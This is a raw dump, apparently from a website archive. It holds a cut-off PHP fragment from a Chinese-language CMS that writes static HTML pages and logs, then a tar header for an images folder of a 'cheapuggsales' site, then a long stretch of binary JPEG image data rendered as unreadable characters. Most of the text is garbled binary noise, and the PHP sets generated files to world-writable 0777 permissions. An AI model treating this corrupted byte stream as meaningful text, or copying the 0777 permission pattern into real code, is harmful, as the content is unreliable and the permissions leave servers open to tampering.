$html; } elseif($action=='save') { $batch=isset($_GET['batch'])?intval($_GET['batch']):0; if($batch==1) { $var_tpl['batch']=1; other_ext(); $html=replace_template($template,'html'); $filename=$var_tpl['filename']; create_html($filename,$html); echo '其他页【'.$var_tpl['title'].'】成功静态到文件'.$filename; write_html_log('其他页【'.$var_tpl['title'].'】成功静态到文件'.$filename); if($var_tpl['end']!=1) { echo ''; } else die('其他页【'.$var_tpl['title'].'】成功静态到文件'.$filename); } else { other_ext(); $html=replace_template($template,'html'); $filename=$var_tpl['filename']; create_html($filename,$html); write_html_log('其他页【'.$var_tpl['title'].'】成功静态到文件'.$filename); die('其他页【'.$var_tpl['title'].'】成功静态到文件'.$filename); } } break; } function create_html($filename,$html) { make_dir(ltrim(dirname($filename),"/")); file_put_contents(ltrim($filename,"/"),$html); @chmod($filename,0777); } function product_html($pid,$tpl) { global $var_tpl; $var_tpl=get_product($pid); if(!$var_tpl) die('id为'.$pid.'的产品不存在'); if(empty($var_tpl['description'])) $var_tpl['description']=strip_tags($var_tpl['des']); if(empty($var_tpl['title'])) $var_tpl['title']=strip_tags($var_tpl['name']); $var_tpl['des']=shuffle_des($var_tpl['des']); $var_tpl['des']=replace_inlink($var_tpl['des']); product_ext(); if(empty($tpl) && !empty($var_tpl['template'])) $tpl=$var_tpl['template']; $template=get_template('content',$tpl); $html=replace_template($template,"html"); return $html; } function write_html_log($str) { $filename =DATA_DIR.'create_html.log'; if(is_array($str)) { if(empty($str)) return true; foreach($str as $s) { $content.=date('Y-m-d H:i:s',time())." ".$s."\n"; } } else $content=date('Y-m-d H:i:s',time())." ".$str."\n"; if (!$handle = fopen($filename, 'ab')) return false; if (fwrite($handle, $content) === FALSE) return false; fclose($handle); return true; } ?>cheapuggsales.uk.com/images/0000777000000000000000000000000011633550312015032 5ustar rootrootcheapuggsales.uk.com/images/20/0000777000000000000000000000000011633550307015257 5ustar rootrootcheapuggsales.uk.com/images/20/131474643156.jpg0000777000000000000000000060504711633550305017232 0ustar rootrootJFIFExifII*   (12|itSONY DSCSONY DSLR-A350Adobe Photoshop CS Windows2010:12:30 15:19:37PrintIM03004 ' ''''^'''' "'d0221 2 : BJ  R@Z0100-  2 2010:10:20 05:07:082010:10:20 05:07:08d d, R980100 (HHJFIFHH Adobe_CMAdobed            x" ?   3!1AQa"q2B#$Rb34rC%Scs5&DTdE£t6UeuF'Vfv7GWgw5!1AQaq"2B#R3$brCScs4%&5DTdEU6teuFVfv'7GWgw ?TI%<97s-`i56Ye?pCG=Gg[S׶}7zoٻcƞ:&>c72joz -Dc7>C ǹcwǶ7$@w0XѡI,sI۾_@ٝ1\븸0J\GYf>[q K5Jqa{:Ur{?,uu,61eO6˭޻Z=w&t {1w5TLv#˪tz>^YcxsKuDK+׺"vI$XI%)$IJI$RI$I%?TI%yݿ"[gk,ȃ,:Η4"=ټ'-ϯTdc_;Z]fsQabUa{_x`e&hݲNk?qS=GͷNOMy$7]>D]WFnqʅ.?}6,1]$?śqP}Zq?Ӷpn}ZY]sҍ8쾡Haۣȶ|Jw~?/i}U-q[@޾N:Jb;02t;KguN.~Mc}m{{*nQӳa;W{1=*#ťҸuz䗓7fu]: jnt8_K u@)i2i 82ZN2;{0q3s21k!0`?I$JRI$TI%^Cm>oUr\DѦ),[wo7ݛGտ ]Wޫsze mnSX iqb历 ~; 2|ns=>t+=?I~OXE?{Nf{񏣑6m+}]uc^DIy+d˙e5~]]{lqp28'@<c: z?O8'KvK;>P6NFvS^6`c\k]=we]gk6\=VԢ)#}`cW~9i!ցh :^$·i{[ݬ C~ >%wt^꬛0^4h/c~^X̊,և1 7l?vRۺgPf=tZK~FbI'RI$TI%)qZޑIO'y2מucz +̲Vycg]>@;N0l[0'kܜ{_^K !idz:E\8n'N N]D^HWm6MYعF hȩ<N;r#Ts+` W8vod،{G 1$|6ZRע꒪=5R% ˒uQ3;L@reHc snV<,O&<zk NZIߧ?M ?}yi8V˃Z=OAnu_zz*f,݄ܱ^u$HTI%)yGGOsv7 [aIXlO^jPq+w>SgnN5Ok:n ;ϙRm.!&, &> #DO(NAI 6 EtY,5Y:]lA* j SfRHAZaۜ~t n0vWZ- - MրR/wJs_}x,fesޗ VlƳVj~SXlp $Xrk6nS?Ү4'NBI$TI%)s_[Sט V?~JJ|'V1ZkGVksWYx->k C \,o6TlE1?Um3[v]! xu.]֣UU_-zx5՘ߐG#jPdޝ{C|\cA;ɱ_ksݥ7S;5G=R1;!̈́A;/'XX]?6z{]lckmm۽knzZtaIA#~io/-ֵ+=ǝl"{Eݼׯ}DCՇo֊4r.l_z7qQMtV!5@(@8 I)$IJI$STʩ$ꤗʩ$ꤗʩ$~iXCmÿz~o鲗"w8o$-!ڏĒSGlM41bvN-Cu2 O<6뛬ƟWʩ"ꤗʩ$ꤗʩ$dSPhotoshop 3.08BIMxSONY DSC8BIM%&Ɖֈ/+A8BIM8BIM&?8BIM 8BIM8BIM 8BIM 8BIM' 8BIMH/fflff/ff2Z5-8BIMp8BIM@@8BIM8BIMskids Classic Short Chocolate_06nullboundsObjcRct1Top longLeftlongBtomlongRghtlongslicesVlLsObjcslicesliceIDlonggroupIDlongoriginenum ESliceOrigin autoGeneratedTypeenum ESliceTypeImg boundsObjcRct1Top longLeftlongBtomlongRghtlongurlTEXTnullTEXTMsgeTEXTaltTagTEXTcellTextIsHTMLboolcellTextTEXT horzAlignenumESliceHorzAligndefault vertAlignenumESliceVertAligndefault bgColorTypeenumESliceBGColorTypeNone topOutsetlong leftOutsetlong bottomOutsetlong rightOutsetlong8BIM( ?8BIM8BIM xJFIFHH Adobe_CMAdobed            x" ?   3!1AQa"q2B#$Rb34rC%Scs5&DTdE£t6UeuF'Vfv7GWgw5!1AQaq"2B#R3$brCScs4%&5DTdEU6teuFVfv'7GWgw ?TI%<97s-`i56Ye?pCG=Gg[S׶}7zoٻcƞ:&>c72joz -Dc7>C ǹcwǶ7$@w0XѡI,sI۾_@ٝ1\븸0J\GYf>[q K5Jqa{:Ur{?,uu,61eO6˭޻Z=w&t {1w5TLv#˪tz>^YcxsKuDK+׺"vI$XI%)$IJI$RI$I%?TI%yݿ"[gk,ȃ,:Η4"=ټ'-ϯTdc_;Z]fsQabUa{_x`e&hݲNk?qS=GͷNOMy$7]>D]WFnqʅ.?}6,1]$?śqP}Zq?Ӷpn}ZY]sҍ8쾡Haۣȶ|Jw~?/i}U-q[@޾N:Jb;02t;KguN.~Mc}m{{*nQӳa;W{1=*#ťҸuz䗓7fu]: jnt8_K u@)i2i 82ZN2;{0q3s21k!0`?I$JRI$TI%^Cm>oUr\DѦ),[wo7ݛGտ ]Wޫsze mnSX iqb历 ~; 2|ns=>t+=?I~OXE?{Nf{񏣑6m+}]uc^DIy+d˙e5~]]{lqp28'@<c: z?O8'KvK;>P6NFvS^6`c\k]=we]gk6\=VԢ)#}`cW~9i!ցh :^$·i{[ݬ C~ >%wt^꬛0^4h/c~^X̊,և1 7l?vRۺgPf=tZK~FbI'RI$TI%)qZޑIO'y2מucz +̲Vycg]>@;N0l[0'kܜ{_^K !idz:E\8n'N N]D^HWm6MYعF hȩ<N;r#Ts+` W8vod،{G 1$|6ZRע꒪=5R% ˒uQ3;L@reHc snV<,O&<zk NZIߧ?M ?}yi8V˃Z=OAnu_zz*f,݄ܱ^u$HTI%)yGGOsv7 [aIXlO^jPq+w>SgnN5Ok:n ;ϙRm.!&, &> #DO(NAI 6 EtY,5Y:]lA* j SfRHAZaۜ~t n0vWZ- - MրR/wJs_}x,fesޗ VlƳVj~SXlp $Xrk6nS?Ү4'NBI$TI%)s_[Sט V?~JJ|'V1ZkGVksWYx->k C \,o6TlE1?Um3[v]! xu.]֣UU_-zx5՘ߐG#jPdޝ{C|\cA;ɱ_ksݥ7S;5G=R1;!̈́A;/'XX]?6z{]lckmm۽knzZtaIA#~io/-ֵ+=ǝl"{Eݼׯ}DCՇo֊4r.l_z7qQMtV!5@(@8 I)$IJI$STʩ$ꤗʩ$ꤗʩ$~iXCmÿz~o鲗"w8o$-!ڏĒSGlM41bvN-Cu2 O<6뛬ƟWʩ"ꤗʩ$ꤗʩ$dS8BIM!SAdobe PhotoshopAdobe Photoshop CS8BIMhttp://ns.adobe.com/xap/1.0/ 1/50 200/10 1 0221 2010-10-20T05:07:08+08:00 2010-10-20T05:07:08+08:00 8/1 175/100 0/10 464/100 2 0 300/10 0100 1 640 480 3 1 0 1 0 45 0 2 0 0 100 False 0 2 False False SONY DSLR-A350 1 150/1 150/1 2 2 2010-10-20T05:07:08+08:00 2010-12-30T15:19:37+08:00 2010-12-30T15:19:37+08:00 Adobe Photoshop CS Windows adobe:docid:photoshop:ac56a192-3599-11df-a669-9752fc448d80 image/jpeg SONY DSC XICC_PROFILE HLinomntrRGB XYZ  1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmddvuedLview$lumimeas $tech0 rTRC< gTRC< bTRC< textCopyright (c) 1998 Hewlett-Packard CompanydescsRGB IEC61966-2.1sRGB IEC61966-2.1XYZ QXYZ XYZ o8XYZ bXYZ $descIEC http://www.iec.chIEC http://www.iec.chdesc.IEC 61966-2.1 Default RGB colour space - sRGB.IEC 61966-2.1 Default RGB colour space - sRGBdesc,Reference Viewing Condition in IEC61966-2.1,Reference Viewing Condition in IEC61966-2.1view_. \XYZ L VPWmeassig CRT curv #(-27;@EJOTY^chmrw| %+28>ELRY`gnu| &/8AKT]gqz !-8COZfr~ -;HUcq~ +:IXgw'7HYj{+=Oat 2FZn  % : O d y  ' = T j " 9 Q i  * C \ u & @ Z t .Id %A^z &Ca~1Om&Ed#Cc'Ij4Vx&IlAe@e Ek*Qw;c*R{Gp@j>i  A l !!H!u!!!"'"U"""# #8#f###$$M$|$$% %8%h%%%&'&W&&&''I'z''( (?(q(())8)k))**5*h**++6+i++,,9,n,,- -A-v--..L.../$/Z///050l0011J1112*2c223 3F3334+4e4455M555676r667$7`7788P8899B999:6:t::;-;k;;<' >`>>?!?a??@#@d@@A)AjAAB0BrBBC:C}CDDGDDEEUEEF"FgFFG5G{GHHKHHIIcIIJ7J}JK KSKKL*LrLMMJMMN%NnNOOIOOP'PqPQQPQQR1R|RSS_SSTBTTU(UuUVV\VVWDWWX/X}XYYiYZZVZZ[E[[\5\\]']x]^^l^__a_``W``aOaabIbbcCccd@dde=eef=ffg=ggh?hhiCiijHjjkOkklWlmm`mnnknooxop+ppq:qqrKrss]sttptu(uuv>vvwVwxxnxy*yyzFz{{c{|!||}A}~~b~#G k͂0WGrׇ;iΉ3dʋ0cʍ1fΏ6n֑?zM _ɖ4 uL$h՛BdҞ@iءG&vVǥ8nRĩ7u\ЭD-u`ֲK³8%yhYѹJº;.! zpg_XQKFAǿ=ȼ:ɹ8ʷ6˶5̵5͵6ζ7ϸ9к<Ѿ?DINU\dlvۀ܊ݖޢ)߯6DScs 2F[p(@Xr4Pm8Ww)KmAdobed@P     u!"1A2# QBa$3Rqb%C&4r 5'S6DTsEF7Gc(UVWdte)8fu*9:HIJXYZghijvwxyzm!1"AQ2aqB#Rb3 $Cr4%ScD&5T6Ed' sFtUeuV7)(GWf8vgwHXhx9IYiy*:JZjz ?ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺX$S$XG!.-fTFKym9Ӗ;olwBCXZ#sqǿxraFXQG%ݽ7e{[*:GU= |TQCKյ׊ʯ![~h(r(G--#D O:qu%U:U^UR3qzSo IUMN$=No-ʲTc9VpG*Ԣ>]8FtRA07qw^Axͳ[Y=&ѭSTbkyr+pU)u+ycmV8f`㶵 А8q u$fLǦSMT$ Ht7]VR=1{:J[7ZycTRcjJ )PlP1T8Pрj@N:^vݳxxX5k& +ۃ#6\Y=f7O'ܘ%+Vv 48y2<"vB0iJ:>;)Ȯ@Vi@@5(mٿ/+XG~/1S)%L  Yk~}>Su(A\t F+zt;a.0EUaT3tYXؤiUn7y9j 9V:dzS =",&Frєg5CȮB^.oJy֕(xP FOg:ۧҊBM .EQRE@%uchq{.Xn.Ეf7c+DO446[!J%ABaL2N$dnP̥kQPU (>Ԗ$ҋeU$qceX_aUj {@PjF{|ݴ5/ۻ 9;Um--&%*7h3w xr)xI0B) @hHaJP-kєv4i&1N:1P0Kw-B ,N:ݔnpr3x LM.J=9=WA7n$%[YMEt3颡Ub0lE旱6M%4[7>i:?).峣3qMHkƄ d䛅Lez> Ӏl )Ҏbͷcro>J1Ryh|n蚯piU1–ZzcNGKfz ^;YƷVZ#EkBAԖ45A][KM`sTº9sJ%[AQOWmܧSSJhZC1GMyf/CGӎy)¥R.CD2L4iZzbx0Y6W=rVm,Lɖih]X L))B@z#EC! RB- *ZĀJJЁjؘp3KY3tNb`Gw7Wb%A C_{$Sa!M`H,еj(` _0jǧK2!TC*ed\wjRA4Pp7T~F%,[r5uKHٽ]G;W푨7m*ujK(ȌQ5^j>^:_1 IIEjjhEA>u`>|{rmޛwy}./f6H[omښ::mSMQAWPYݥ GpGhݪMMWʞzXs8I UbT !E:8}g>kl I1d{ G42Gw0E_V`SiYt֫N'щ:FѧùTF3o۴Y(۲V\J\^'=sxm9ch*7OY;w6( &5Rl2: i"@0R~댂zsQL3%{80)^)[wef=kיH/ZTnVdW2MC<%.۫S]te V=qyB՞RuВ~JOC֤ HrieVֿϛr$TUŸ́+U*w֮2hiSQ=|CS6]Qm[w4Ǖ3O&ӹ&bxi*ƕx)PͺW(2A;iWSSVUA҆FU'1]MVGX~>/n^{{^׺u{{^׺u{{^׺u{{^׺u{{^׺u{{^׺u{{^׺u{{^׺u{{^׺u{{^׺u{{^׺u{{^׺u{ߺ^׽u~{ߺ^׽u~{ߺT~@:eu[dؾƬܙ]]E+ѵFk%6?-{*SGK[ϥDѴZ1+F죘.fڈb&M".#Q((5zo˶oAtHOvY-F(ԨkKtϖdTۇoakv\t4T;^%QQzd `2T{;HR:1"Gά*Mis2Z*4b@WJ(V]Of62Q3,aVJdяHjXci_BmE$T'#q:fPZԐCPҫaؼwBlгKP3@LM|*8}J}BLpőjEň2`ԙohS42ԭ4PIhZfnA%m!Q*Ơi˰Da"H垥cTJ @ gy劀l{7oc"n gv;<. TsUkw$[/jBJ$ 22x(<0\M=X(C@ xt_HTթVCⶰ#C19T9fQe]\uV7nmi,sXKc(C6vꤚIa((u^P4 /3P[2՚|@%zW')X7%j҅YU_FTin+aeʲod+kFePaJ -d[89'&٭%2㴵EƕEZ5+A@r6U22V5|)𫵶nq-;6Wt퇇u%?rmC v#OXb  3wJ`n;mݿLH-YNPBe ^4 n0Y&23PZA&>+H@婍dii_}ƈbGIfQUIcN9UX!fXW \i(}OωR zbm}Akj+C%6V)fUKR\ImYx\4T?e87ruV.DPvk&f 66rk$+ z,uR %P]KRI)%ImYj)c)Ħ xJPT4>8|&>9,ݧUo|EfnL%lZLqm &~0%uDYI/GSB{5KxjZRUrkZ ^]&EmHkU:jMjOd쭗bxlL9%cnͰl5*q=Ɋ4zy3QpcBEoHcl}T+ ) iVOf"X(0*4>(dNu+y ԩ$vh7NT7-UeeNئz -=Jb%ZC Te蠍cX)`?,O‹ڥ; 'נ03GHi#"PSjs^kJ_P+HqPU |M-wu_ZPb)y;q%ZH Lsx$E It޾ܘTV*8 b|5 vjZDV$gmFH §Nr(GV1>6kg2|U6޼`rUk}E>jz1i5qQEE!FMmrHA+> &? KV,9+v!q]!F*#' 'Nd(_UdB/Ws6B-*-s&jFic] Љ-9m$EZ6JPkRM5=.VZHMZ?9huZS@ ۶z KCj}ORI CTF4~WEs kYk,h*A* /ـ^'!NXEZ1QH_g;77y&6~.|+MU`/8:O-me]4@PS\0}tn n!4" $a͝ (YS;--㲱+HVYAfX&8Fbk;wOam<VM&&A`oQU$ƥ`BdMHC˗ӹ=Gj(xb +Jd@Ͷ?Yk@Y8 ǏWk;{^׺u{{^׺u{{^׺u{{^׺u{{^׺u{{^׺u{{^׺u{{^׺u{{^׺u{{^׺u{{^׺u{{^׺u{ߺ^׽u~{ߺ^׽u~{ߺ\Oc{&ꝷ>gXҫm# :L'#y(/+WD.C1 {QF5 J( >zʊ|":m k[0hUjay"mGc/Y,%bݻG!@6̚8h,1GS:jTC$e% Myi$ R.(Sk`Kg9=z+9Y%PZjIb)uӤ_3¯[#C_v`ݛcb=ZoNw;0j}. hBz[Q2mS\-q@ aKiȢ*E5ilrvK|5iYjhNTԒΰ!||Z7U/zvcGj]݂糇xC nՠ'* ` ?tHU.^ASJ@`~d(1Q^"Mx ?Uh;Tu4.:-[wnnԗwpo=QE۸jn\Y]Z6*XLZM0ҁdۡӅ5xd;0i5PPU@9G,639c ( P"TI$Sq+1!roinmwlWM9qG-WedϘRSPRE"jtyU҈Lt\NRB"Ҡff'V6 ū[(R4M.=(e'ia7>;]ݔͺ1nV'zimVO67U_#-M.%iu}}o. /RU8?㈡w6on4GU$jbłKR}{Y%^Xץb=Ir8Bs̵,W-LN"${1\$#c5u']HZ%A J :g]隤Z6 oQ w6r6$mRybyzA-bUU)Z ⿐4]eۻo-]}lSA0K5~]=ou=頚*GjE(x xRwTe:~m|DY*LnT/XχX̹ OUOIKv_Y}m=PH |I)Fڭ.Vxxۅ$ `hbћ[ߝ%>;qM&xJy/ڱB2voD})I]z4R.B :{J{sRL^1^XbKZ%md i"G.JkJjGϴ>c[-,EWP OB>=u{{^׺u{{^׺u{{^׺u{{^׺u{{^׺u{{^׺u{{^׺u{{^׺u{{^׺u{{^׺u{{^׺u{{^׺ߺ^׽u~{ߺ^׽u~{ߺ\H{|DbvO LAL뎰악osTQ5G0K(:U\[1H$Fe#+.>Meol]TW,@"j|ֻ9}8j5L ɍɿ+MMM4RG .A#66(*PYv{!G] #HOρ\Ψ* 5}(H,~gנ!++$ʙPPUD)!A '% 6Vn"8d~Ƽxy\Vc\ ^xe8<9oqUQᶶ>#-mp5m]:IMT+:Mз ЈH*^m$E rwQ eBK38@ ?QLX9ZM-vNըc'Wn۴9,EJj涑#r]ߘ]RħjGNJ g3XY 7J)Wy`2T MQǡ'lUCPn<n &~[/vz<}DLN3[Cc*n*JiV(ĂxbMo@rbб%{MFWO_nKefguxp,j@(zKm?k1~u2UIöz#1NW5X\n֪TUMSJ x7}AYǒK4TQaE.-0`f1@@MMX*Lt 3a*k}|.BH6OWafK1Ӥ훶]ٸGCOA,SHCJ"wMh [Y&Z@A:TX6[WɸI)8K)hY_,8b$@DGB G=E]}I%rO]k6F:|1dr4Y)gCN,@Ѽ!? g zc>/#0M,mC[b2MP[&G.\?O~<鳹ܝSxLjhv*y۷i!j]M;mWe9z(eF +_qA+/Zr@H$fbFI n7|/D.lMfr@TSds13VS1PEQf {Eoc$@DIUB( htNO]2Sgx֥UVTTςT8J(%2ȤS*hC)dMRU{OD^HT> 82u?Ox('˸ -Qf#fmkPOX.Rn:@^ `XǦEQ!WbI$Dj]P@8V\VOʹ5W3G$md)J:KiՇ>M(>և$T-J%Ivpƕ5`HjЍxBfF%^G-\2RW4KƤ_{]EIE PL$1y)"WsI5AD]OdN[Nd/iڣIMI"CZaO3m[ryf %V<*U8{^׺u{{^׺u{{^׺u{{^׺u{{^׺u{{^׺u{{^׺u{{^׺u{{^׺u{{^׺u{{^׺u{{^׺u{ߺ^׽u~{ߺ^׽u~{ߺ^֬𦯏S>?X9&igsKg(al߶+5&snON¿tP\s6 Ɲ^ѐS+gBOXw+6`sxW*ZWC94^&G׉&0e.2+Ɵ* d*T+ p??ԏ@ @Bjx Pt qHOR9h3H 3 :K.) }U Oxt}'1jP*V'̏?NiuOv\Uu3 ;/C=_Zj"HcR ELpr]p+n3Pı5ٺm7;%rk_HOPhҖ1fJi"45LWUgy=N #1&AkSP rt'7)RΫ)Fy~ | , UXGeiJGM4$T(g.׹e~|>TȯP,qۓ0G IY$T/,MxdM:DðO/ 3 4Fp)A+ZfGe$և{ qNUG  C$qKDpqiUUUb)2u5Hs,'#%sOPi8l+I&RKVGnPTS\.FB:;CGҴ5>A*gLuM=>2it523#u{N1D%EhGr*[94"@ oøҚ8O6&T<㡣n&8QDSTb1RTK˼)X|E ee)%T_* @3#0iКTeT(UM YQ<^057h cώ ^Eii%'v+"*ޡU ZWM)N&V2Bf8w9ZZxgVEJ+dj޻ȿʁNEES aU-*cRKq1FwiR@zVmmH5+Q_@0+N@:xێHAI|ZcC) &= 8q¤`'UWcUmڌd0-:NRTR]YOV3W >Y9JLEL } <PT=>C;Qf誛p(K4ՕZᢞJn !\4-]=JxBI)y Y4@  d GJD "j_kBr8c&& ߾#- 5* vuBD [ }_}=O?*%Ӏ#| 4+P>Y:+q8vQJԻ5$$~zhpPnPFZjm:{.إ?mE(|e5㘙玌ouʈXҎq2k?{{^׺u{{^׺u{{^׺u{{^׺u{{^׺u{{^׺u{{^׺u{{^׺u{{^׺u{{^׺u{{ѯ^˯uċQU{O~^뎓}X={ߑo=z\Oē}{uߺ^׽u~{ߺ^׽u~{ߺ^&c&*ynnISS6$omALg9 2:  SkZaW [^Y$8$?|ŷ]MTZO27EA(C"sB5mp}L$]hE(AGVG0*qRg@s Oi2-,0 XRf󙥌mu$`j5 yשph?.u&*Tv'ɝx V}Y@s=O&p$\b-w i1_txrj榔,`JE|pkDX"QGWV(jW+$}ksPtzgҔ4ҏ r0x3n%vaٱt9kjrTT#M !PQ hgҫH  jU>lY9uv.,u0AP:-29TGŊ"jVpAW@Teh$꽏+UX"&Ac\SQLyR\;˨l A8>ޔTMZ,B*VgH*9Z*d PAicčU֔'4R+Rsӧ};*Ex ̌>yÌ0U)s1^"9Y-&V>QWIZRWݖ̦o8Wzm5j!h5ljCP+_NT[Ia`¥?zw\F*])>uTTyO4R pQsl 7#ƪ p\/[xH0P% vWmψ OM5VR sQ65bƥ!6G%[3oyN?pp6ݔgsoji~D5]U3_[bRCpt~:|^~'!R+%) t!  c8BRcϺ\}zt?O"X먙 C€ʪ_P}MhkÏG^M&E gcJƒ3Dă$4ӣNn|Ph:A= 0kux$ t S(Gxfj))1TJx$:PdfwҀ% TSd<)# I? 1ǭ>5?uY,ϊ=[P5.z jG"Y2TS+#ـlO2q8g t T5"db34dx˭D{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽H={??ߺ^׽u~{ߺ^׽u~{ߺ^ ^H5MK_'߾tֈ+ǧ2=yjy>Jt0RÉ-5T\%4SY}΂MSiv$eQJAZg.ŵBKACejO{0Goas[/W >Le0ANW;4DYnCu{/-ĄǨiI@.[IGt R(IࠓɎ}K}[׻֋2zo ;V#ja8RT wuE ch)Ic >Y\,4RF [Fi$1oQW+$ яA>Pc"\:>c0'&EO (JbMh?>ת)?T2)ƂLkaa FgoYYOk@Vv#k8Ӊ=X3vq ץu2I ûHfBIب\?"4:c]5  \N]q?F1kQ[p*ۋCG EGsFr8bI9ՀΕ899Ꮊ ţ3zbkxk&h""+ZuR* ML S딮Dc Xbm ҥ%OOX~4 @j"}r9*EH+ƴU+Zf]eK2->LL*eTr5O_ޠ22+NFJxCVf}E+6 1`<{sEPi/O/:ֆ:U|"99#t%l]UTчhzxk1iv;O$t.@. TFR~:g?"P@55H8UC^5[ndɎ5CVE9OG*, AsFy#= 7pWT5g5yrQG^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ_ߺ^׽u~{ߺ^׽u~z׺t̍S:4RE^m}꺗\I&UM^xn47ߏu$zujqgokt7˿sڸMݛdp}N+'5WmnJ̖&wR5H˜<+n`ރ%B>Ex*RK<\ŤGolj!IWb g,M L^k2{raR}1]RP)A4b%0n~}\ifʭ/-py֞}HDs@7&&U1=+)*Adt!0^ίom7

    YQPT؊uQkЂǶtQI4Y=MF@ @M;Qyh$>BqiV A{WT9W F>dt'QWRd"& ⨲. dsfB-cea-+*O':2n( H4\JYYC::'A?OzZQ=qO#2Eh=(5PMzRV2fU*]F둂u4xpO^]7/O Pƃ4>t C0Fg}6Qŏ i t(iq&~<#TU5ZӍ1ˎJ3]$>P#F?008̞x4 uYH jVҔ$g̎B&g.= u& SuzEuyӪu=\`RiZ_?넠ץ[s,-Ik\7^֌ ׇvk yQ+SO.j4K[B>0H Sc!s"Ȩ40F`֔iF#Y+qN':zhE;,: tYUOWVYIeX d>cJ#"1MoI0I%JlOITp+*V't-ϴS]]3~̥cS1䚏O:Wkkj X#1U}ۑ|nKv2"w+y& GSU:Sh%X`?6ɞf;Mk8g.Bx(<? 7sl۶$lm}~!C*)g mR+3C&sQU]9!an[\:9mm* k^kU).OT@AR jZ~GFFʏN1>Ӹ;,'Qsؙ##\i~}&jؠk>}lX''Ҕ?hB$)t$ eI`^#bE.lEՙ]{*x8_FcBi:֕iMp:rF+"MJMJG]2ݔرRAb_3A`yuVmC E@N?]9#GUe.[c #z*W}*ԯ=VY4p:+d2w23 Eds>Ah8SuGq##6XqH& OcoEZ*z)S0]5#К5/OP3b+-$Vs2%ƞ Z`K}0JizI#E:b@6A5XHt `?mˣkm!SNqEM)L<:ۋ_4s|y!V޵ E $4Y^:Y1C$ג]Ts^ϧ* kDc'Gn]&9WQS>垢{{^׺u{{^׺u{{^׺u{{^׺u{{^׺u{{^׺u{{^׺u{{^׺u{{^׺u{{^׺u{{^׺u{{^׺uߺ^׽u~{ߺ^׽u`~׺泍.}!!2nH(Xcb> r*$<+ sЇ+k ?c[̿#}j%YOEBTㅞ6hÖZ_$ h||zȔ T|z&_eT1_oF.erM]5?*ˏOxb?:Ҙ+EOIYچOO>78/9<6K=ݴYsyL+1UM[(ZmLא~ښF"W9',P\1Pt! gkJbަcP8tQkûcb5=$:ae;q`siڴu詧3,Yz_QjcMOҬ@@CnfYn-HUȨrzgPjsN#akeƳ|gήPc\*z5g{giѬ; 0޽wh$pr2SA2J!j\UӮe?&p4jOTjCI=fB$# < [ihIX>?RAN+=l2sZ`Vy% qNN6[3x,(7ʦ4 oocOn/6EGHwʧzV勀I Mu_֦8oKI)VvjXα-=\ FJUT垣1 m?8ʟWxiZImIKy kZ6pyWǝ3P#O&A hqW㥵qPd !HE?5`A--~u<<.#JCȦZ P~Up!_A5s1$>n=ٵj`SMhj2sU],ʱ-j#?WN g6.%QD6TsJv"(HM< &~+# jZyAƔ%-3"XBmr _vҌ S f zh. iPAgbDȌ;TU"ܖw ͏Ա_ϷYJcsl=rԞ1l/2FT#֙'q]W $)Yjo4i%!Jv81j k:dyW#Ȁ,Z3E:I>_r OǔƸJ&G )r2G.A/PT-}$o.J F49GJ Pt }Ho9zN`(g9.Gclk$SU|T40K(kjJhfp.&*E^-v@jhi@ArK8Tj*)(UwQ[ƙ4:gmǤ-!k +EWZ$|ϖ~ΛwnX>T&<q\t3>VyZ:-YA-ZlPcc<:;$+CN3iR"[XD?yePdVе<*+֭0T>^CsGmV䪳x/\&)%"ib_w.%SAICGTo "ZIF_4m#y;4QX8ΝCW=~P%f&Ei*TS'N6l64+[H},\0o{oX{aǨHdiI8 Z?NR-X0$v`+VSi߈k 4:I@kC!Z׬2/" #xE* @kIJC^5+j=ˁYL]T OOAQ^NtƠDWM#[& Ycݼ($弈o]B'$pFFը&9[:Qsrn@6 TeG(x̞&;B5(2ζ2X"u0:@E*N})',݌zp "KixX´b8G!ʟO8Qhj|}kϫc5cZy (zxVcMY̴,KO5ɯ?:[mLZ3jp_7:އOc@xjXN8uHnVF! eVPc2l?SѺȲ@ny_}BCHޙ VC[Dw}{{^׺u{{^׺u{{^׺u{{^׺u{{^׺u{{^׺u{{^׺u{{^׺u{{^׺u{{^׺u{{^׺u{{^׺uߺ^׽u~{ߺ^׽u~ߘ3?>G=gITthf]bTlGsnv[ySݵ[1/GW(SEKIYfOPK8Rkt &Zd/3|TYFѬoO=DcqA_7U( d#2I:i'Iye9vᇿ!$X+ҸV)$XQ道~cZꌟgtJ>nz:ZVo}ƹK<ؼx{FL#Wp-luSPKG 0תZ<@iu@@ۆO3ӏ0뻻cfuOArye~3 [wgcZJd4 ˑH>VY ۧAMdm:$I)䋈=bkПP>Z ŻA;ZLCkWv`OMoBhZTI,z@F>_>^<5@ȦI>\>C j']sqi#0d ZDe 멯&MBiSN<r~ΜWC$>J*:c"JJK"#I%D5~U53?~g'$ `Cƣ(g HHWMg Ti%tRk#4Ҽ]7H9g[+B<mK"H/asܭʀ>+FS‘!s.'xtDB&HR.U@X!VfZsYX ?ip }5MR\@X%LJ:܍: }؍~#uIvIf ||)N[bdS,;$eZD]Tr1WZ$!g5YAlV8`y=ZY U0bOk&+ >G64y<< y$Wj #$65?!C= PFOHq#^O8_JQ}s7P\u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^׽u~{ߺ^ߺ^׽u~{ߺ^׽u~ Oγ,4ev>ǰk0Uo:ՂU2j=q֘AXqqm\4Q!*VaSѰviPf%lH)8j )R(ǟ@3镱$w"I'k&MGu+b;RdĐㆩi(bI* UTQPOMu={N2@= ӏNju+ճ\lly-6f++ HRJI楒axXe6% qՍ|EtjF{H9[\lrI̯SIU (h$ù18ht`pb6mE.#T$*[@:mܢ`5Ɯ0h̍os5Dq&!ӧCPWhF,S(X0{q1+^܊83||aҕᯧw \~GjZ#Uƌ#+4AFm*}N*CvJA\`AJWsQW $I'3(Q12H Qt=x3W@ ]bJu\@0kS t %DeWWD%m!>JT Nj=v*U&Bџ*yxݒ;.5 